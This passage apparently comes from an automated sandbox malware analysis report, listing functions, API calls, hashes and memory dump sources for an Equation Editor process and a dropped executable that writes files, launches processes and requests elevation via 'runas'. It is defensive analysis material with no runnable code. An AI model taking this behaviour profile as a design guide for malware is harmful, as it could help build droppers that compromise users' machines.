Instruction Fuzzy Hash: B031CE6140D7C09FFB12D6606E5A654BF64BB47600F1C8ECBC5C14F0F3D294A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 035900B6 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: 390481a77dce610bdc78fdc9070a67b85d40d85b7fd72e0738d4425a05b579cb
Instruction ID: b0d6b62efb10d4cc1f12b5a84c9f83a5dd743bc10a2f8526b6005bc1eee8e2e4
Opcode Fuzzy Hash: 390481a77dce610bdc78fdc9070a67b85d40d85b7fd72e0738d4425a05b579cb
Instruction Fuzzy Hash: 9931CE6140D7C09FFB12D6606E6A664BF64BB47600F1D8ECBC5C14F0F3D294A24AA353

Uniqueness

Uniqueness Score: -1.00%

Function 03590071 Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: e1f3b97d9b5a4b1bf2b4b4a8a0256526f0700a2ca264c020793356f696cb1b82
Instruction ID: 1afe0ff8adbbd95869816f8bf1da211f904f92f2c64902c226fc1e7bf2a22288
Opcode Fuzzy Hash: e1f3b97d9b5a4b1bf2b4b4a8a0256526f0700a2ca264c020793356f696cb1b82
Instruction Fuzzy Hash: 1D31BA6180D7C05FEB12D6606E9A654BFA4BB47600F1C8ECBC5C18F1F3D295A24AA363

Uniqueness

Uniqueness Score: -1.00%

Function 03590075 Relevance: 1.6, APIs: 1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateExitFileProcess
String ID:
API String ID: 2838702978-0
Opcode ID: abce51639879b1add4e184ed6421d2e3f0526ae8d7c41856b8e6acfdaa59c4eb
Instruction ID: bf4fe2c5897293687d27742984d00135495dbc048170354c5a47fb2db2a67e06
Opcode Fuzzy Hash: abce51639879b1add4e184ed6421d2e3f0526ae8d7c41856b8e6acfdaa59c4eb
Instruction Fuzzy Hash: 9A31CB6180D7C05FEB12D7606E9A654BFA4BB47600F1C8ACBC5C18F1F3D295A24AA362

Uniqueness

Uniqueness Score: -1.00%

Function 03590098 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaac63aff88d3c417234ed25a3e1838bd2e4566b77137129547aeefebf4bda82
Instruction ID: 984ac3f7b70664e614b27d382451b1bd0affcbf3bab17b8fc82311c1621a91fb
Opcode Fuzzy Hash: eaac63aff88d3c417234ed25a3e1838bd2e4566b77137129547aeefebf4bda82
Instruction Fuzzy Hash: 5F31EE6180D7C05FEB12D7606E9A654BFB4BF47600F1C8ACBC5C18F0F3D294A24AA362

Uniqueness

Uniqueness Score: -1.00%

Function 03590113 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b17d2fad3d765ad7a786674fa01c2ee303013370c0b64e93081400e756861086
Instruction ID: 984ac3f7b70664e614b27d382451b1bd0affcbf3bab17b8fc82311c1621a91fb
Opcode Fuzzy Hash: b17d2fad3d765ad7a786674fa01c2ee303013370c0b64e93081400e756861086
Instruction Fuzzy Hash: 5F31EE6180D7C05FEB12D7606E9A654BFB4BF47600F1C8ACBC5C18F0F3D294A24AA362

Uniqueness

Uniqueness Score: -1.00%

Function 0359045B Relevance: 1.6, APIs: 1, Instructions: 84fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0359043C,03590453,00000000,00000000,00000000,?,03590453,0359043C,00000000,00000000,00000000,00000000,035903F5,00000050,00000000), ref: 0359054B

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d4d463e9b9c9ed4a6d9070107b554e4f8b46087707d5ad8be43035a7d0fae483
Instruction ID: 78443260761a63aaadae894342f79e7f19bab4046f039b3aa804836c33100d07
Opcode Fuzzy Hash: d4d463e9b9c9ed4a6d9070107b554e4f8b46087707d5ad8be43035a7d0fae483
Instruction Fuzzy Hash: BB2183B1408386AAEF11EB54ED41E6FBBB9FFC1B00F148D4EB185460B2E671D6088665

Uniqueness

Uniqueness Score: -1.00%

Function 035902E9 Relevance: 1.6, APIs: 1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2cbc8d8d16dec18aa5c0f836d39b11ca0171ac973cc76324eeeff81c0030aeae
Instruction ID: 986c30f45316d04bbd114ed316d3e06d1d565fe5d12f5628a00b517eb555a4d9
Opcode Fuzzy Hash: 2cbc8d8d16dec18aa5c0f836d39b11ca0171ac973cc76324eeeff81c0030aeae
Instruction Fuzzy Hash: 5E21BA6544D7C15FFB21D7702D9AB55BEA4BB8A600F1D8ECB81C18F1F3D298A10A9316

Uniqueness

Uniqueness Score: -1.00%

Function 03590305 Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9558ff419d245c8c08bfc850e0b888f05bf2b329ec43985635aef6d0d55f1aff
Instruction ID: 172df861c447ddf52dcfe2784370bf1248c20eae3f2d2fd0e0d4b89d653e1daf
Opcode Fuzzy Hash: 9558ff419d245c8c08bfc850e0b888f05bf2b329ec43985635aef6d0d55f1aff
Instruction Fuzzy Hash: 0411EEA544C7C14FFB21D6302D9AB84BE60BB8A600F0D8ECB95C58F1F3D294A10A9352

Uniqueness

Uniqueness Score: -1.00%

Function 03590477 Relevance: 1.6, APIs: 1, Instructions: 64processfileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0359043C,03590453,00000000,00000000,00000000,?,03590453,0359043C,00000000,00000000,00000000,00000000,035903F5,00000050,00000000), ref: 0359054B
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,03590592,?,03590570), ref: 035905CA
ExitProcess.KERNELBASE(00000000,?,035905D1,?,03590592,?,03590570,?,?,03590557,00000000,00000000,00000000,00000000,035903F5,00000050), ref: 035905E2

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: Process$CreateExitFileWrite
String ID:
API String ID: 3739231918-0
Opcode ID: 19abb07f664a7bfaba3f6f8eb50ada1189bdad441aab37431a0cbd58e181a6b3
Instruction ID: a311dd5db77c0966ff43d82d7be804f5055500e0fc02a14acb07c76575cb12ce
Opcode Fuzzy Hash: 19abb07f664a7bfaba3f6f8eb50ada1189bdad441aab37431a0cbd58e181a6b3
Instruction Fuzzy Hash: 04115EB0408346BEEB11EA54DD41FAFBBB9FFC0B00F148D1EB195460B1EB7199088A66

Uniqueness

Uniqueness Score: -1.00%

Function 0359032C Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 833f1fdb2df954a47779238e40c14f53762179b8aaffb34f45396806a607e277
Instruction ID: 0a5d2b7db1a6786a61ecb81ebbe788058218701cf0e883138a6c3ad0f673893f
Opcode Fuzzy Hash: 833f1fdb2df954a47779238e40c14f53762179b8aaffb34f45396806a607e277
Instruction Fuzzy Hash: 16019AA540C7C01FFB22C2702C9AB84BE647F56604F0D8A8FA6C49F0E392A4A10A9312

Uniqueness

Uniqueness Score: -1.00%

Function 035904A8 Relevance: 1.5, APIs: 1, Instructions: 41processCOMMON

Download Yara Rule

APIs

Part of subcall function 035904C4: WriteFile.KERNELBASE(0359043C,03590453,00000000,00000000,00000000,?,03590453,0359043C,00000000,00000000,00000000,00000000,035903F5,00000050,00000000), ref: 0359054B

CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,03590592,?,03590570), ref: 035905CA
ExitProcess.KERNELBASE(00000000,?,035905D1,?,03590592,?,03590570,?,?,03590557,00000000,00000000,00000000,00000000,035903F5,00000050), ref: 035905E2

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: Process$CreateExitFileWrite
String ID:
API String ID: 3739231918-0
Opcode ID: ab915c4d70da9f5e50a6ad1d4eaedeb20efed64c161fa0c5c37ea620a5e12464
Instruction ID: ec54ff6309cb440ed69d7f607e68d6993e60c0019beaa3bcd8a7763c46aa234b
Opcode Fuzzy Hash: ab915c4d70da9f5e50a6ad1d4eaedeb20efed64c161fa0c5c37ea620a5e12464
Instruction Fuzzy Hash: D6F0FBB1008346AFEB01DE54DC41E6BBBAAFFC5B40F048D1EB1944A0B5D671D9088A62

Uniqueness

Uniqueness Score: -1.00%

Function 03590378 Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,C0000000,00000001,00000000,00000002,00000080,00000000), ref: 03590395

Part of subcall function 035903AF: LoadLibraryW.KERNEL32(0359039F), ref: 035903AF

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: CreateFileLibraryLoad
String ID:
API String ID: 2049390123-0
Opcode ID: 6b58b7bea42888d99f99c58fd6019879577d5c0d287c541efadc83ec232d07e8
Instruction ID: 416e03f5ae4581633a8dc9bd0f66dc3732a289f5ee2fc48d61b0a41f1f53dac0
Opcode Fuzzy Hash: 6b58b7bea42888d99f99c58fd6019879577d5c0d287c541efadc83ec232d07e8
Instruction Fuzzy Hash: AEE0C2301483902FF930D3300C4AF95BDA43F89B00F09CC8BB2C4AF0F2C6A060048212

Uniqueness

Uniqueness Score: -1.00%

Function 035905DD Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

ExitProcess.KERNELBASE(00000000,?,035905D1,?,03590592,?,03590570,?,?,03590557,00000000,00000000,00000000,00000000,035903F5,00000050), ref: 035905E2

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction ID: f49c04242a7a61e974833cf8218924656bc711991e28e6f13ed51e74029fe7d2
Opcode Fuzzy Hash: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 035905E4 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction ID: dad8d9ebd07a3382fd4c97aa96f1f4a8564408607266d4b95447d883cdca1f84
Opcode Fuzzy Hash: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction Fuzzy Hash: 38D052B12025029FE704DB08DA80E13F37AFFC8220B28C669E5004B66AC330E892CA90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 03590242 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.444520307.0000000003590000.00000004.00000020.00020000.00000000.sdmp, Offset: 03590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3590000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d63d9cbe7aee2b22caec2abe761ef9f448886455dde74c3a1debfea27b2c1948
Instruction ID: 6eeaa356b2d4eef8eaba7b014a207092e669dd60636457438198d266d7304795
Opcode Fuzzy Hash: d63d9cbe7aee2b22caec2abe761ef9f448886455dde74c3a1debfea27b2c1948
Instruction Fuzzy Hash: EFB092504088F24589479620AE686C4BF2144426093085781D0CC22012C11605669281

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: CKK.exePID: 2544, Parent PID: 2064COMMON

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	3%
Total number of Nodes:	2000
Total number of Limit Nodes:	69

Executed Functions

Function 00E442DE Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 235
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32 ref: 00E4430D

Part of subcall function 00E46B57: _wcslen.LIBCMT ref: 00E46B6A

GetCurrentProcess.KERNEL32 ref: 00E44422
IsWow64Process.KERNEL32(00000000), ref: 00E44429
LoadLibraryA.KERNEL32(kernel32.dll), ref: 00E44454
GetProcAddress.KERNEL32 ref: 00E44466
GetNativeSystemInfo.KERNEL32(?,?,?), ref: 00E44474
FreeLibrary.KERNEL32 ref: 00E4447B
GetSystemInfo.KERNEL32(?), ref: 00E444A0

Strings

|O, xrefs: 00E836F8
kernel32.dll, xrefs: 00E4444F
GetNativeSystemInfo, xrefs: 00E44460

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: InfoLibraryProcessSystem$AddressCurrentFreeLoadNativeProcVersionWow64_wcslen
String ID: GetNativeSystemInfo$kernel32.dll$|O
API String ID: 3290436268-3101561225
Opcode ID: 55941ee0db4d2db7a7b1c936f5701276e1fbcfd795493416a6c3f8266a7ba100
Instruction ID: 7e891b8ae1a9f849d49a28f14ab25ab6c192494d1c276d11c875a358c8364e24
Opcode Fuzzy Hash: 55941ee0db4d2db7a7b1c936f5701276e1fbcfd795493416a6c3f8266a7ba100
Instruction Fuzzy Hash: 08A1E9A190A2CCCFCB11D7B97C443D57FE47B26744F1AE49AD2B5B3A6AD2204508FB21

Uniqueness

Uniqueness Score: -1.00%

Function 00E442A2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00E442B2
FindResourceExW.KERNEL32 ref: 00E442C9
LoadResource.KERNEL32 ref: 00E835BE
SizeofResource.KERNEL32 ref: 00E835D3
LockResource.KERNEL32(00E450AA), ref: 00E835E6

Strings

SCRIPT, xrefs: 00E442BF

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: bf7bf6858f7e86f03d62575d058c309ed6313114d24fcc938d0133725c613de7
Instruction ID: caefd118e8bb3fa077b05847d81d1a1f8703c33c99367eba407977702178dde0
Opcode Fuzzy Hash: bf7bf6858f7e86f03d62575d058c309ed6313114d24fcc938d0133725c613de7
Instruction Fuzzy Hash: BA1170B0201701BFDB219B66EC48F677BB9EBC5B95F20416EB406A62A0DBB1D804C620

Uniqueness

Uniqueness Score: -1.00%

Function 00EADBBE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 29
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32 ref: 00EADBCE
GetFileAttributesW.KERNELBASE ref: 00EADBDD
FindFirstFileW.KERNELBASE(?,?), ref: 00EADBEE
FindClose.KERNEL32(00000000), ref: 00EADBFA

Strings

"R, xrefs: 00EADBCA

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID: "R
API String ID: 2695905019-1746183819
Opcode ID: 23680e49f2c7b13fb65c4a8b442a3f815f9aa95cd02b832c9cda0759f026c88c
Instruction ID: 1ad0a862d29b0573d466b0620cedc4557a32206d62cf6bf6475ea8b42e7b5180
Opcode Fuzzy Hash: 23680e49f2c7b13fb65c4a8b442a3f815f9aa95cd02b832c9cda0759f026c88c
Instruction Fuzzy Hash: 49F0A7304159155B82206B78AC0D4AA777CDF06374B604713F476E24F0EBB46D58C595

Uniqueness

Uniqueness Score: -1.00%

Function 00E82BA5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNEL32 ref: 00E42B6B

Part of subcall function 00E43A5A: GetModuleFileNameW.KERNEL32 ref: 00E43A78

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

GetForegroundWindow.USER32 ref: 00E82C10
ShellExecuteW.SHELL32(00000000,?,?,00F02224), ref: 00E82C17

Strings

runas, xrefs: 00E82C0B

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CurrentDirectoryExecuteFileForegroundModuleNameShellWindow_wcslen
String ID: runas
API String ID: 448630720-4000483414
Opcode ID: 8655c0df3c7291004170dd55efd969aa765f09b9c66caea49f4c7f2c473399b2
Instruction ID: f46fb37f4ff973cf8c4d50e6498dad5a10b0db843badc3088fa0bd293791ae82
Opcode Fuzzy Hash: 8655c0df3c7291004170dd55efd969aa765f09b9c66caea49f4c7f2c473399b2
Instruction Fuzzy Hash: 7B11E1316083056AC704FF70F8559AEB7E4EB95744F84342DF286320A3CF618A49E712

Uniqueness

Uniqueness Score: -1.00%

Function 00E7333F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00E7337E

Strings

GetSystemTimePreciseAsFileTime, xrefs: 00E73350, 00E7335A

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Time$FileSystem
String ID: GetSystemTimePreciseAsFileTime
API String ID: 2086374402-595813830
Opcode ID: 4ae1846c689d806d97b816933502de8857f8cd0ace1e755a1fe0004b796c8019
Instruction ID: e446938e3778a54dfe950c199613cbcdbfe81bf71860c653c915eb28496382a7
Opcode Fuzzy Hash: 4ae1846c689d806d97b816933502de8857f8cd0ace1e755a1fe0004b796c8019
Instruction Fuzzy Hash: 2FE0E531B4131CBFD320AFA6AC02D7EBBD4DB48B90B40525DFA097B661CE310E00A6D6

Uniqueness

Uniqueness Score: -1.00%

Function 00E609D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00E609DA

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 128992c9a0924e98686d029631696cc138958293d2a4f309f701d02586dc4cb1
Instruction ID: a51352dea29d5da1aae6c28f4b69eb0c5a151e18a0a3b1a529b1576b1b15d2aa
Opcode Fuzzy Hash: 128992c9a0924e98686d029631696cc138958293d2a4f309f701d02586dc4cb1
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00E4D7CB Relevance: 21.6, APIs: 14, Instructions: 579windowsleeptimeCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00E4D807
timeGetTime.WINMM ref: 00E4DA07
PeekMessageW.USER32(?), ref: 00E4DB28
TranslateMessage.USER32(?), ref: 00E4DB7B
DispatchMessageW.USER32(?), ref: 00E4DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00E4DB9F
Sleep.KERNEL32(0000000A), ref: 00E4DBB1

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Message$Peek$DispatchInputSleepStateTimeTranslatetime
String ID:
API String ID: 2189390790-0
Opcode ID: 00ea24a60fceacd60a2caebd8b739032ce0b5e2ba8591e42d30cf76f2947253a
Instruction ID: 76e950fc517d326a126ad6d4ba2887cbe8280b2359fa1bcecc8b89633475a5ee
Opcode Fuzzy Hash: 00ea24a60fceacd60a2caebd8b739032ce0b5e2ba8591e42d30cf76f2947253a
Instruction Fuzzy Hash: AE32C330608342EFDB28CF24DC84BAAB7E1FF85308F14A55EE655A7291D771E844DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00E78D45 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

., xrefs: 00E7903A, 00E78FD0, 00E78FF2

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-3963672497
Opcode ID: 2d03679ce215338fdbec8dbb71d62f470b65918346b897830186462c8c3d5592
Instruction ID: 01b15b178c08e32abd94f0ceea9bf65856c3ced2908146a2ba4fb7a69d4c1d28
Opcode Fuzzy Hash: 2d03679ce215338fdbec8dbb71d62f470b65918346b897830186462c8c3d5592
Instruction Fuzzy Hash: 2FC10274A44249AFCB11DFA8E845BEDBBF0AF5A314F189199F518B7392CB308941CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00E8065B Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E8039A: CreateFileW.KERNELBASE(00000000,00000000,?,00E80704,?,?,00000000), ref: 00E803B7

GetLastError.KERNEL32 ref: 00E8076F
__dosmaperr.LIBCMT ref: 00E80776
GetFileType.KERNELBASE ref: 00E80782
GetLastError.KERNEL32 ref: 00E8078C
__dosmaperr.LIBCMT ref: 00E80795
CloseHandle.KERNEL32(00000000), ref: 00E807B5
CloseHandle.KERNEL32(?), ref: 00E808FF
GetLastError.KERNEL32 ref: 00E80931
__dosmaperr.LIBCMT ref: 00E80938

Strings

H, xrefs: 00E808BD

Memory Dump Source

